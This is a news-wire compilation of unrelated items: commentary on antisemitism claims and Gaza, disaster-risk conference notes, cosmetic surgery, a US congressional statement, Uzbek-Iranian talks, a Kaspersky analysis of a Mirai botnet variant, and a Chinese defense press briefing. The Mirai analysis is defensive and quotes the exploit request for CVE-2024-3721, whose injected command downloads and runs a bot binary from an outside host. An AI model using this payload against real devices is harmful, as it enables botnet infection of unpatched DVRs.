    The cultures of Europe have indeed cultivated racist ideas for centuries. And just as half a millennia ago conversion offered you no protection from the racism of the Spanish court, embracing Buddhism didn’t protect Columbia University student Moshen Mahdawi from being snatched from a naturalisation interview by balaclava-clad ICE agents.

    His crime? Being Palestinian and telling his story.

    It’s a topsy-turvy world where life-long anti-fascists like Jeremy Corbyn and Yanis Varoufakis are sanctioned on bogus claims of antisemitism while the likes of Elon Musk and Hungarian PM Victor Orban — both peddlers of old-style antisemitic conspiracies — are welcomed to Israel as friends and allies in a contrived battle of civilisations.

    One thing that differentiates antisemitism from the Judeophobia, which has been a European disease since the early days of Christianity, is that it places Jews among the victims of the continent’s white supremacist legacy.

    It’s perhaps no coincidence the Christopher Columbus set sail for the Americas in the same year, 1492, that Spain expelled its Jews and Muslims.

    The settler colonisation of the Americas has been estimated by historian David Stannard to have resulted in the death of 100 million indigenous people — many from introduced diseases but tens of millions also died in genocides only recently making their way into history books.

    Last month, when Netanyahu declared Israel’s attacks on Gaza “a war against human beasts” he was echoing the words of settler colonialists from Alaska to Aotearoa and the dehumanising language of the Nazis against the Jews.

    So, back to that question about whether we’ve reached a tipping point where unfair accusations of antisemitism will be seen in a similar light to McCarthy’s red scare.

    With Netanyahu accusing the leader of the Democrats party, Yair Golan, an IDF reserve major-general, of promoting a blood libel for speaking out against the starving of babies in Gaza, it’s hard not to draw parallels with the Army-McCarthy hearings.

    It’s worth quoting the words that saw Israel’s PM accuse Golan of a blood libel — a reference to the lie that Jews used the blood of non-Jewish children in the baking of matzos, and a trigger for centuries of pogroms.

    “A sane country does not wage war against civilians, does not kill babies as a hobby, and does not set goals for itself like the expulsion of a population.”

    The idea that an IDF general speaking out against the killing of babies is propagating racist hatred of Jews is surely a leap too far even for many fervent Zionists.

    Another sign that the tide might be turning is Kenneth Stern, the lead drafter of the International Holocaust Remembrance Alliance (IHRA) working definition of antisemitism, saying the US administration’s weaponisation of the IHRA definition is making academics and students (including Jews) less safe.

    The self-described Zionist said the definition was being distorted and used to silence anti-Israel critics.

    The IHRA working definition has been widely adopted internationally — including by institutions in New Zealand and Australia.

    Human Rights Watch and Amnesty International have both criticised the definition claiming it has seen those documenting Israel’s human rights abuses being falsely accused of antisemitism.

    It’s a tragedy that weaponised accusations of antisemitism aimed at protecting Israel from criticism are obscuring a rise in Judeophobic conspiracy theories and attacks on Jewish community centres and synagogues around the world.

    And even more tragically that those accusations are blunting criticisms of Israel that could help bring the ongoing genocide in Gaza to an end.

    Jeremy Rose is a Wellington-based journalist. He has a Substack: Towards democracy

    This article was first published on Café Pacific.

    MIL OSI Analysis – EveningReport.nz –

    June 6, 2025

  • MIL-OSI United Nations: GPDRR 2025 highlights: Thursday 5 June 2025

    Source: UNISDR Disaster Risk Reduction

    This report is provided by Earth Negotiations Bulletin/International Institute for Sustainable Development. View the original report here.

    Finance is critical to implementation of the Sendai Framework on Disaster Risk Reduction (DRR), but investments have not kept pace with rising demands, and aid budgets are shrinking worldwide. In many sessions through the day, delegates focused attention on financing a wide range of needs, including school safety, measures to deal with extreme heat, and nature-based solutions (NbS).

    High-level dialogue

    What will it take to scale DRR financing solutions at the national and local level?

    Journalist Mayowa Adegoke moderated the session.

    Stine Renate Håheim, State Secretary to Minister of International Development, Norway, emphasized DRR financing as a high priority, saying, “it is better to prevent than repair afterwards.” She noted that one in three people globally-most in cities or highly vulnerable areas-are not covered by Early Warning Systems (EWS).

    Hans Sy, CEO, SM Prime Holdings, explained his company’s investment in resilient building construction, such as building on concrete pillars to allow free flow of floodwaters. He stressed that risk-informed decisions based on science and technology “makes good business sense.”

    Fatima Yasmin, Asian Development Bank (ADB), said the Bank regards DRR as a critical priority investment, particularly through supporting policy making, planning, advising on innovative investments, and incentivizing preparedness. On scaling DRR investments, she said financing should be fast, flexible and forward-looking.

    Rob Wesseling, CEO, Co-operators Group, said no path to net zero emissions is possible without investment in both prevention and recovery. He encouraged governments to utilize the risk information gathered by insurance companies over decades to assist with decision making.

    On mobilizing private sector investment, Velenkosini Fiki Hlabisa, Minister of Cooperative Governance and Traditional Affairs, South Africa, stressed that every cent invested in resilience and preparedness saves lives and livelihoods.

    View of the panel during the Multi-Stakeholder Plenary. Source: IISD/ENB | Anastasia Rodopoulou.

    Ministerial roundtable

    Inclusive comprehensive school safety-strengthening resilience for children and youth in all hazards

    The event, which convened 36 ministries, was co-chaired by Kamal Kishore, Special Representative of the UN Secretary General for Disaster Risk Reduction and Head, UNDRR, and Paul Steffen, Deputy Director, Federal Office for the Environment, Switzerland.

    In opening remarks, Kishore encouraged delegates to endorse the Comprehensive School Safety Framework 2017 (CSSF), noting only 80 countries have done so, and for countries to make schools heat-resilient.

    On school safety policies, Tunisia, Zimbabwe, Mongolia, Pakistan, and Saint Lucia recognized the CSSF. Portugal highlighted its DRR working group on children and youth. Brunei Darussalam, Kenya, and Portugal recognized the fundamental rights of children to safe school environments. Colombia highlighted its Law on Teaching for Sustainability, Climate Change, and Disaster Risk Management. Republic of Korea described its 2020 Child Safety Management Act.

    Many countries identified education programming as fundamental to reducing risk and developing children as agents of change in their homes and communities. Malaysia, Uganda, Russia, Algeria and others described homegrown examples of such programmes, for example, student leadership groups and First Aid skills training.

    Leaders from around the globe express their shared commitment to making schools safer and more resilient to disasters. Source: IISD/ENB | Anastasia Rodopoulou.

    Several countries, including Greece, Kenya and Cuba, recognized the importance of social support to children experiencing disaster and loss, and the ensuing mental and emotional health impacts. The Holy See flagged the need for spiritual care of those “who have seen whole lives swept away.”

    Most countries discussed sustainable and resilient school infrastructure, including standards for new or retrofitted buildings. Belgium, Republic of Moldova, and Singapore highlighted energy efficiency and climate resilience. On heat stress in schools, Singapore flagged cooling strategies and energy-efficient fans. Tunisia described its sustainable school network that integrates climate change, disaster risk, and biodiversity objectives. Spain said new schools need to be “climate shelters.” Bangladesh noted the construction of more than 5,000 cyclone-resistant schools.

    Multistakeholder plenary

    Investments in reducing risk and building resilience to accelerate investments in sustainable development

    Kishore introduced the session, which was co-chaired by Paul Steffen, Federal Office for the Environment, Switzerland, and Paola Albrito, UNDRR. Kishore noted less than 1% of national budgets is allocated to DRR.

    Countries presented their national commitments, such as Australia’s Disaster-Ready Fund, which is providing up to AUD 1 billion (USD 648 million) over five years for locally-identified needs, and Switzerland’s DRR commitment of more than CHF 2 billion (USD 2.5 billion) annually. Many expressed appreciation for international support, including for Moldova’s local adaptation plans in 38 communities, and Samoa’s community-based disaster risk management activities. Peru highlighted its introduction of budget flexibility for regional and local authorities, enabling rapid response to imminent hazards.

    The Food and Agriculture Organization of the UN (FAO) reported that only 3% of all development assistance is allocated to agricultural DRR measures, even while these deliver significant returns in ensuring food security. Swiss Re highlighted the role of insurance in informing risk and mitigation measures, noting the availaility of parametric insurance, for example, against extreme heat events and flooding. The Resilience Action Fund showcased the work of the International Finance Corporation in developing the Building Resilience Index as a world-first metric for assessing the safety and risk of buildings for insurers and construction developers. The Latin America and the Caribbean Development Bank (CAF), India, and the UK welcomed innovative initiatives, such as a new center on extreme events, establishment of risk pools, and the use of AI to identify flood threats.

    Delegates affirmed regional solidarity, demonstrated in Tunisia’s hosting of the Africa-Arab Platform for DRR in 2023, and Iran’s hosting of three regional organizations, including a Regional Center for Urban Water Management. Albania welcomed its responsibilities under the EU Civil Protection Code for cooperation among EU countries and other partners, which, he noted, enables access to advanced DRR solutions.

    The International Organization for Migration highlighted its 2024 launch of Climate Mobility Innovation Labs for the Africa and Asia regions to develop solutions to climate-related mobility.

    Steffen urged all present to accelerate investment in DRR, and to engage the private sector as key partners.

    Ministerial Roundtable. Source: IISD/ENB | Anastasia Rodopoulou.

    Special event on extreme heat

    Moderator, Juli Trtanj, Co-Chair, Gobal Heat Health Information Network, opened the session. Celeste Saulo, Secretary-General, World Meteorological Organization (WMO), called heat a “silent killer” because it is the least managed of all climate hazards. She said 50% of countries have heat warning systems in place but only 26 have dedicated Heat Health EWS. She identified three priorities: integrating heat risk into climate and DRR governance, heat EWS, and implementation using risk information and data.

    In his keynote, Pramod Kumar Mishra, Principal Secretary to the Prime Minister, India, said heat threatened public health, economic stability, and the ecological resilience of cities and communities. He underscored UNDRR’s Common Framework on Extreme Heat Risk Governance and drew attention to India’s national guidelines on heat wave management, which decentralized more than 250 heat action plans in 23 states. He called for scaling hospital and primary health care preparedness and resilience and noted India is adopting a long-term heat wave mitigation strategy, including roof-cooling technologies, passive cooling centers, revival of traditional water bodies, and improved thermal comfort and livability of informal settlements.

    In a panel discussion, Benoît Faraco, Ambassador, Climate Negotiations for Decarbonized Energies and for the Prevention of Climate Risks, France, urged being modest since we are still discovering impacts and avoiding maladaptation. Ousmane Ndiaye, Director General, African Center for Meteorological Application for Development, stressed the links between heat waves, energy crises, and health care demand. Rosa Galvez, Senator, Canada, spoke about lived experience saying, “We cannot adapt forever – we must work on the causes.” Jagan Chapagain, Secretary-General, International Federation of the Red Cross and Red Crescent Societies (IFRC), said extreme heat is a humanitarian crisis. On involving the financial sector, Mia Seppo, Assistant Director General, International Labour Organization, discussed climate risk insurance, just transition principles, and access to essential services. Mishra advised that industry protect labor from heat risk.

    Source: IISD/ENB | Anastasia Rodopoulou.

    Special session

    Comprehensive approaches to reduce loss and damage-bridging climate action and DRR

    Fatou Jeng, Former Climate Advisor to the UN Secretary-General and Member of the Early Warnings for All Advisory Panel, moderated the session.

    Ralph Regenvanu, Minister for Climate Change, Adaptation, Meteorology and Geo Hazards, Energy, Environment and Disaster Management, Vanuatu, appreciated the support from the Fund for responding to Loss and Damage (FRLD) and the Santiago Network, which combined forces to launch the inaugural integrated loss and damage and DRR initiative in Vanuatu.

    Kishore noted that, while many DRR practices are now in place, these need to be updated to deal with climate system changes and the associated risks, uncertainty, and volatility.

    Benoît Faraco, argued that the distinction between loss and damage, and DRR, is theoretical, and remains irrelevant to people on the ground who want response, prevention, action, and solidarity to alleviate their situation.

    Ibrahima Cheikh Diong, Executive Director, FRLD, emphasized the need to look at how interventions can be most impactful, stressing that solutions must be country-led, and recognize Indigenous groups and civil society participants. He expressed awareness that the FRLD must be “nimble, accessible, flexible and built on partnerships, always ensuring no one is left behind.”

    Carolina Fuentes Castellanos, Director, Santiago Network Secretariat, elaborated on how the network is supporting countries to accelerate loss and damage, using Vanuatu’s experience to demonstrate how the Network can accelerate fund distribution and support with bold and transformative support.

    Jagan Chapagain, Secretary-General, IFRC, cautioned that the terms loss and damage represent different meanings to communities, but the bottom line is to ensure the funds really reach the local level.

    Thematic Sessions

    Catalyzing governance solutions for disaster and climate-related displacement

    Irwin Loy, The New Humanitarian, moderated this session.

    John Mussington, activist and displaced person, Antigua & Barbuda, described his work of founding the community network, Stronger Caribbean Together, with others displaced by “disaster capitalism”, as storm-damaged sites are cleared for tourism development.

    Sakiasi Ditoka, Minister of Rural and Maritime Development and Disaster Management, Fiji, highlighted the 2023 Pacific Regional Mobility Framework and Fiji’s own planned relocation guidelines.

    Zahra Abdi Mohamed, Director-General, National Center for Rural Development and Durable Solutions, Somalia, described Somalia’s National Transformation Plan that prioritizes anticipatory action and climate-smart livelihoods, responding to the needs of long-term displaced communities.

    Fatimah Zannah Mustapha, community representative, Nigeria, called for centering the voices of local women in decision making by removing barriers, “whether digital, linguistic, or cultural.” Claudinne Ogaldes Cruz, Executive Secretary, National Coordinator for Disaster Reduction (CONRED), Guatemala, noted that many Guatemalan households are women-led and have the knowledge to inform decision making.

    Robert Piper, former UN Secretary-General’s Advisor on Solutions to Internal Displacement, said line ministries responsible for decisions on land use and building codes-“those who are responsible for dealing with the failure to prevent”-must become deeply involved in the governance of disaster displacement.

    Leveraging Values of Nature for Resilience: Moderated by Cecilia Aipira, United Nations Environment Programme (UNEP), the session addressed the role of nature-based solutions (NbS) in DRR.

    In his keynote, Mohammed-Yahya Lafdal, General Director, National Environment and Coastline Observatory, Mauritania, highlighted the increase in tree cover through reforestation and restoration, taking into account Indigenous knowledge and solutions, and the development of barrier systems for water distribution and management in desert areas. He emphasized how addressing land degradation and rehabilitation has been Mauritania’s best solution for increasing resilience.

    Rodrigo Hernández Escobar, Representative of the Latin American and Caribbean Indigenous Knowledge & DRR Network, highlighted political will and respect for Indigenous cosmovision and territories as key elements for leveraging traditional knowledge into programmes supporting NbS. Isaac Luwaga Mugumbule, Head of Landscaping, Kampala Capital City Authority, Uganda, stated that NbS are context-specific and require community involvement to be sustained.

    Professor Satoru Nishikawa, Japan International Cooperation Agency (JICA), stressed the need for scientific numerical quantification, analysis, and testing on the strengths and durability of NbS. Swenja Surminski, London School of Economics, noting that NbS “are not silver bullets,” stressed the need to work with nature, drawing attention to NbS co-benefits. Oliver Schelske, Swiss Re Institute, noting the absence of standardized values for nature, emphasized that even if “not everything is insurable,” investing in nature makes sense from an insurance perspective, as it reduces risks to the asset being insured.

    On the prerequisites for NbS to be viable, speakers mentioned common sense, co-benefit considerations, identifying the number of protected lives, and conducting independent auditing.

    Thematic Sessions as visual summaries capturing key messages and insights. Source: IISD/ENB | Anastasia Rodopoulou.

    Side event

    Inclusive comprehensive school safety—Strengthening resilience for children and youth in all hazards

    This side event, organized and facilitated by the Global Alliance for Disaster Risk Reduction and Resilience in the Education Sector (GADRRRES), showcased school safety and resilience programmes from Central Asia, the Pacific region and the Caribbean.

    Anja Nielsen, Co-Chair, GADRRRES, gave an overview of CSSF, noting the all-hazards, all-risks approach that includes environmental, climate change, and biological health risks, technical threats, and other everyday risks. She elaborated on the global school safety survey, representing 350 million school-aged children, and highlighted, among other concerns, that significant infrastructure investment is needed to better protect children and teachers from natural hazards, with most suffering from funding constraints.

    Education administrators from Saint Lucia, Tonga, and Kyrgyzstan described CSSF activities and outcomes from their regions, and emphasized: involving the children actively in school safety is a game changer; collaboration is the essence of resilience, requiring whole-of-government and whole-of-society approaches; and building capacity at all levels, particularly teachers, for comprehensive school safety is key.

    IISD’s summary

    The summary report of the meeting will be available on Monday, 9 June 2025, here.

    MIL OSI United Nations News –

    June 6, 2025

  • MIL-OSI Global: The pursuit of eternal youth goes back centuries. Modern cosmetic surgery is turning it into a reality – for rich people

    Source: The Conversation – Global Perspectives – By Margaret Gibson, Associate Professor of Sociology, Griffith University

    The Conversation, CC BY-SA

    Kris Jenner’s “new” face sparked myriad headlines about how she can look so good at 69 years old. While she’s not confirmed what sort of procedures she’s undergone, speculation abounds.

    As a US reality TV personality, socialite and Kardashian matriarch, Jenner has long curated her on-screen identity. Her fame and fortune are intimately tied to a multinational cosmetics industry that has, for centuries, bartered in the illusion of timeless beauty.

    The pursuit of cosmetic enhancement can be traced back as far as Ancient Egypt, reminding us the desire to look younger is hardly new.

    But while many women try in vain to battle the ageing process, Jenner is an example of someone who’s actually succeeded, at least visually. What does that mean for the rest of us?

    Decades of surgeries

    Modern cosmetic plastic surgery has its roots in compassion. It was developed to help disfigured first world war soldiers rebuild their faces and identities.

    But this origin story has been sidelined. Today, aesthetic procedures are overwhelmingly pursued by women and marketed as lifestyle enhancements rather than medical interventions.

    Advancements in reconstructive surgery were made after both world wars with treatments on wounded soldiers.
    AFP/Getty Images

    Plastic surgery, once considered extreme or shameful, began to gain popularity in the 1960s, and is now widespread.

    Hollywood has long played a role in shaping these standards. During its Golden Age, stars like Marilyn Monroe and John Wayne are reported to have undergone cosmetic surgeries – rhinoplasty (nose jobs), chin implants, facelifts – to preserve their screen personas.

    Even before Instagram, before-and-after images were a cultural obsession, often used to shame or expose.

    From taboo to trend

    The digital age has further normalised cosmetic enhancements, with social media influencers and celebrities promoting procedures alongside beauty products.

    It’s estimated Jenner spent upwards of US$130,000 (around A$200,000) on cosmetic interventions, resulting in a look that some media outlets suggest places her in her 30s.

    There’s been similar speculation about Lindsay Lohan, Christina Aguilera and Anne Hathaway, though none of the women have confirmed anything themselves.

    On Jenner, social media users are split. Some offer aspirational praise (“If I had the money, I’d get it all done!”), while others criticise her rejection of “ageing gracefully”.

    Today, celebrities increasingly control the narrative. Jenner has embraced her past cosmetic transformations, sharing them openly on social media and in interviews. The taboo is evolving.

    Yet many stars, including Courtney Cox, Ariana Grande, and Mickey Rourke, have spoken openly about regrets and the psychological toll of these procedures. Even with agency, the pressure remains immense.

    Youth as a cultural ideal

    This obsession with agelessness reflects a deeper societal discomfort with visible ageing, particularly in women.

    Celebrities, with access to elite medical professionals and procedures, seem to cheat time.

    Yet the outcome of is often disorienting: when Jenner appears younger than her children, the generational lines blur.

    This erasure of age difference entrenches youth as an end in itself. It also destabilises how we perceive kinship and mortality.

    Supermodel Bella Hadid has said she regrets getting a rhinoplasty as a teenager. Of Palestinian descent, she said “I wish I’d kept the nose of my ancestors”.

    In my own research, I’ve argued cosmetic enhancement is tied to a cultural denial of death.

    The ageing isn’t the problem – it’s our refusal to accept it.

    The desperate clinging to youth reflects a collective resistance to change. Celebrity culture and consumer capitalism exploit this vulnerability, making age a problem to be solved rather than a life stage to be honoured.

    We should mourn our ageing, not erase it. In another world, we could witness it, share it, and celebrate its quiet, powerful beauty.

    So what about us?

    But that’s not the world many live in, and the pressure extends beyond Hollywood.

    With filters, apps, and social media platforms, ordinary people also curate and enhance their images, playing their part in a fantasy of perfection.

    A recent study looked at the way young Australians use selfie editing tools. It found the widespread use of such apps have a significant effect on the body image of young people.



    Read more:
    ‘Perfect bodies and perfect lives’: how selfie-editing tools are distorting how young people see themselves

    The line between self-care and self-deception has never been blurrier. We all want to present the best version of ourselves, even if reality slips into illusion.

    So while women have long tried to outrun visible ageing, whether that be through anti-wrinkle creams or more invasive means, Jenner is an example of something relatively rare: a woman who’s actually managed to do it.

    In doing so, she and her celebrity counterparts set a new youthful beauty standard in what ageing should (or shouldn’t) look like.

    And while that standard may be felt by a variety of women, few will be able to achieve it.

    Extremely wealthy beauty moguls like Kris Jenner can afford elite treatments, while most people face growing financial pressure and a cost-of-living crisis. The divide isn’t just aesthetic – it’s economic.

    Beauty, in this context, is both a product and a privilege.

    And of course, judgement of women’s appearances remains a powerful force for discrediting their political, social, and moral worth. For every bit of praise there is for Jenner’s “youthful” appearance, there are videos claiming she’s “ruined her face” and questioning of whether she should spend so much money on such a cause.

    As long as gender inequality persists and beauty remains a currency of value, the pressure to conform will endure.

    Margaret Gibson does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. The pursuit of eternal youth goes back centuries. Modern cosmetic surgery is turning it into a reality – for rich people – https://theconversation.com/the-pursuit-of-eternal-youth-goes-back-centuries-modern-cosmetic-surgery-is-turning-it-into-a-reality-for-rich-people-257969

    MIL OSI – Global Reports –

    June 6, 2025

  • MIL-OSI USA: Evans Continues to Call for a Negotiated Ceasefire in Israel-Hamas Conflict

    Source: United States House of Representatives – Representative Dwight Evans (2nd District of Pennsylvania)

    WASHINGTON (June 4, 2025) – Congressman Dwight Evans (D-PA-3) issued this statement today: 

    “I’m deeply concerned by recent violence at aid distribution centers in Gaza and continue to call for a negotiated ceasefire to end the violence in Gaza, including the immediate return of all hostages and the safe, immediate delivery of much-needed humanitarian aid. I’m co-sponsoring a new resolution calling on this administration to use all diplomatic tools at its disposal to ensure humanitarian aid reaches civilians in Gaza and to bring about the release of the hostages.

    “And I continue to join with congressional colleagues in calling on this administration and the Israeli government to protect Palestinian lives; opposing the forcible transfer of Palestinians out of Gaza; and advocating for providing economic security in the West Bank as Palestinian unemployment rates continue to rise. Recently I signed on to a congressional letter to the Israeli ambassador expressing opposition to their blocking humanitarian aid from entering Gaza, as well as a congressional letter to President Trump opposing his remarks about taking over Gaza.”

    ###

    MIL OSI USA News –

    June 6, 2025

  • MIL-OSI Russia: Leaders of Uzbekistan and Iran held a telephone conversation

    Translation. Region: Russian Federal

    Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

    Source: People’s Republic of China – State Council News

    Tashkent, June 6 (Xinhua) — Uzbek President Shavkat Mirziyoyev and Iranian President Masoud Pezeshkian held a telephone conversation, the press service of the Uzbek leader reported on Thursday.

    “During a telephone conversation on June 5, President of the Republic of Uzbekistan Shavkat Mirziyoyev and President of the Islamic Republic of Iran Masoud Pezeshkian warmly congratulated each other and the friendly peoples of the two countries on the holy holiday of Eid al-Adha, sincerely wishing them peace, well-being and prosperity,” the statement said.

    Current issues of further development of Uzbek-Iranian multifaceted relations were also discussed.

    It is noted that active contacts and exchanges at the level of governments, ministries and departments were noted with satisfaction. The indicators of mutual trade and cargo transportation, as well as the number of joint ventures, are growing.

    “In May of this year, the next meeting of the Intergovernmental Commission, a business forum and an industrial exhibition were fruitfully held in the city of Tehran. A “road map” of cooperation for 2025-2027 was adopted,” the statement said.

    The presidents of the two countries noted the importance of further promoting cooperation projects in the fields of trade, investment, transport and logistics, industry and agriculture. The leaders of Uzbekistan and Iran also exchanged views on the regional agenda and the schedule of upcoming events. –0–

    MIL OSI Russia News –

    June 6, 2025

  • MIL-OSI Banking: Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721

    Source: Securelist – Kaspersky

    Headline: Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721

    The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.

    We recently observed the use of CVE-2024-3721 in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous Mirai botnet, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.

    Exploitation

    During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a CVE-2024-3721. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:

    1

    “POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1” 200 1671 “-“ “Mozila/5.0”

    The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.

    1

    cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk

    Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. However, in this case, since the attack is specifically targeted at devices that only support ARM32 binaries, the reconnaissance stage is unnecessary.

    Malware implant – Mirai variant

    The source code of the Mirai botnet was published on the internet nearly a decade ago, and since then, it has been adapted and modified by various cybercriminal groups to create large-scale botnets mostly focused on DDoS and resource hijacking.

    The DVR bot is also based on the Mirai source code but it includes different features as well, such as string encryption using RC4, anti-VM checks, and anti-emulation techniques. We’ve already covered Mirai in many posts, so we’ll focus on the new features of this specific variant.

    Data decryption

    The data decryption routine in this variant is implemented as a simple RC4 algorithm.

    The RC4 key is encrypted with XOR. After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177.

    The decrypted RC4 key is used to decrypt the strings. After each piece of data is decrypted, it is inserted into a vector of a custom DataDecrypted structure, which is a simple string list:

    Data decryption routine

    The global linked list with decrypted data is accessed whenever the malware needs particular strings.

    Adding decrypted strings to the global list

    Anti-VM and anti-emulation

    To detect if it is currently running inside a virtual machine or QEMU, the malware lists all processes until it finds any mention of VMware or QEMU-arm. Listing running processes is simply a matter of opening the /proc directory, which is the proc filesystem on Linux.

    Each process ID (PID) has its own folder containing useful information, such as cmdline, which describes the command used to start the process. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.

    Process check

    The implant also verifies if the bot process is running outside an expected directory, based on a hardcoded list of allowed ones:

    Allowed directories

    Once those checks are successfully completed, Mirai will continue normal execution, preparing the vulnerable device for receiving commands from the operator.

    Infection statistics

    According to our telemetry data, the majority of infected victims are located in countries such as China, India, Egypt, Ukraine, Russia, Turkey, and Brazil. It’s challenging to ascertain the exact number of vulnerable and infected devices globally. However, by analyzing public sources, we’ve identified over 50,000 exposed DVR devices online, indicating that attackers have numerous opportunities to target unpatched, vulnerable devices.

    Conclusion

    Exploiting known security flaws in IoT devices and servers that haven’t been patched, along with the widespread use of malware targeting Linux-based systems, leads to a significant number of bots constantly searching the internet for devices to infect.

    The main goal of such bots is to carry out attacks that overwhelm websites and services (DDoS attacks). Most of these bots don’t stay active after the device restarts because some device firmware doesn’t allow changes to the file system. To protect against infections like these, we recommend updating vulnerable devices as soon as security patches become available. Another thing to consider is a factory reset if your device is indeed vulnerable and exposed.

    All Kaspersky products detect the threat as HEUR:Backdoor.Linux.Mirai and HEUR:Backdoor.Linux.Gafgyt.

    Indicators of compromise

    Host-based (MD5 hashes)
    011a406e89e603e93640b10325ebbdc8
    24fd043f9175680d0c061b28a2801dfc
    29b83f0aae7ed38d27ea37d26f3c9117
    2e9920b21df472b4dd1e8db4863720bf
    3120a5920f8ff70ec6c5a45d7bf2acc8
    3c2f6175894bee698c61c6ce76ff9674
    45a41ce9f4d8bb2592e8450a1de95dcc
    524a57c8c595d9d4cd364612fe2f057c
    74dee23eaa98e2e8a7fc355f06a11d97
    761909a234ee4f1d856267abe30a3935
    7eb3d72fa7d730d3dbca4df34fe26274
    8a3e1176cb160fb42357fa3f46f0cbde
    8d92e79b7940f0ac5b01bbb77737ca6c
    95eaa3fa47a609ceefa24e8c7787bd99
    96ee8cc2edc8227a640cef77d4a24e83
    aaf34c27edfc3531cf1cf2f2e9a9c45b
    ba32f4eef7de6bae9507a63bde1a43aa
    IPs
    116.203.104[.]203
    130.61.64[.]122
    161.97.219[.]84
    130.61.69[.]123
    185.84.81[.]194
    54.36.111[.]116
    192.3.165[.]37
    162.243.19[.]47
    63.231.92[.]27
    80.152.203[.]134
    42.112.26[.]36

    MIL OSI Global Banks –

    June 6, 2025

  • MIL-OSI China: Regular Press Conference of the Ministry of National Defense on May 29, 2025 2025-06-06 Senior Colonel Zhang Xiaogang, spokesperson for the Ministry of National Defense (MND) of the People’s Republic of China (PRC), answers questions at a regular press conference on the afternoon of May 29, 2025.

    Source: People’s Republic of China – Ministry of National Defense

    By Senior Colonel Zhang Xiaogang, Spokesperson for the Ministry of National Defense (MND)

    Senior Colonel Zhang Xiaogang, spokesperson for the Ministry of National Defense (MND) of the People’s Republic of China (PRC), answers questions at a regular press conference on the afternoon of May 29, 2025. (mod.gov.cn)

    (The following English text is for reference. In case of any divergence of interpretation, the Chinese text shall prevail.)

    Zhang Xiaogang: Friends from the media, good afternoon, welcome to this month’s regular press conference of the Ministry of National Defense of the People’s Republic of China

    I have a piece of news to release at the top.

    The PLA National Defense University (NDU) sent a delegation to attend the 22nd Shangri-La Dialogue (SLD) upon invitation on May 29. The visit is scheduled till June 2, during which the delegation will also have exchanges with military and civilian units in Singapore.

    Journalist: Not long ago, the 4th Ministerial Meeting of the China-CELAC Forum was held in Beijing. President Xi Jinping attended the opening ceremony and delivered an important speech. Could you please provide more details about military cooperation between China and Latin American and Caribbean (LAC) countries?

    Zhang Xiaogang: Recently, President Xi Jinping attended the 4th Ministerial Meeting of the China-CELAC Forum and delivered a keynote address. He summarized the best practices for developing China-LAC relations, and announced the launch of five programs of Solidarity, Development, Civilization, Peace and People-to-People Connectivity. In the speech, President Xi has charted the course for building a China-LAC Community with a Shared Future.

    China-LAC cooperation has withstood winds and rains, and transcended mountains and oceans across half a globe. The cooperation has bolstered economic growth and improved the livelihoods of the LAC region, bringing tangible benefits to the local people. In recent years, the Chinese and LAC militaries have had frequent high-level exchange, and conducted numerous working level meetings. Events such as the China-LAC States Defense Forum, China-LAC Military Medicine Forum and Seminar for Senior Military Officers from LAC Countries have been held multiple times. China-LAC defense cooperation has been productive, deepening our friendship and mutual trust. The Chinese side stands ready to work with the defense establishments and militaries of LAC countries to act on the Global Security Initiative, and deepen substantive cooperation in such areas as mutual visits, professional exchanges and personnel training. Together, we will promote sustained and solid progress in building a China-LAC Community with a Shared Future.

    Journalist: In his recent speech, Lai Ching-te said that Taiwan would continue to strengthen its defenses and avoid war by preparing for it. Will the PLA conduct military exercises as countermeasures as before?

    Zhang Xiaogang: As long as Lai Ching-te continues his provocations for “Taiwan independence”, there will be no tranquility in the Taiwan Strait and no stability for our Taiwan compatriots. We warn the DPP authorities that “Taiwan independence” separatists will come to no good end. The PLA will remain combat-ready at all times, enhance combat readiness, and safeguard our national sovereignty and territorial integrity.

    Journalist: The US recently unveiled plans for the Golden Dome missile defense system, and announced that it would be completed in 3 years. May I have your comments on this?

    Zhang Xiaogang: The US presses ahead with the Golden Dome system and deploys space-based weapons, continuously expands its military build-up and stokes an arms race in outer space. Such acts violate relevant principles of the Outer Space Treaty, heighten the risk of turning the space into a war zone and triggering a space arms race, and shake the international security and arms control regime. Its actions will once again open the Pandora’s box. This proves again that no country has done more than the US in militarizing the space and making it a battlefield. We urge the US side to stop expanding military build-up in space, and take concrete actions to uphold global strategic stability.

    Journalist: I have two questions. The first one is that Japan’s Defense Ministry recently announced that Chinese aircraft carrier PLANS Liaoning conducted take-off and landing operations of ship-borne aircraft in the East China Sea. Officials of the Japan Self-Defense Forces said that similar activities were conducted by Chinese aircraft carriers before, but this training occurred in waters closer to Japan. The Japanese Defense Ministry therefore decided to make it public and this is the first time for the Ministry to release such information. What’s your comment on this?

    The second question is that the US President Donald Trump recently said that the US was mass-producing hypersonic missiles. As one of the major countries that develop hypersonic technologies, how does the Chinese side view the impact on the global arms control regime caused by the US accelerating its deployment of such strategic weapons?

    Zhang Xiaogang: On the first question, the task fleet led by PLANS Liaoning conducted training in relevant waters, which does not target any specific country or entity and is in line with international law and practice. I think the Japanese side overreacted.

    On your second question, We pursue a national defense policy that is defensive in nature, never engage in arms race with any other country, and are committed to global strategic stability.

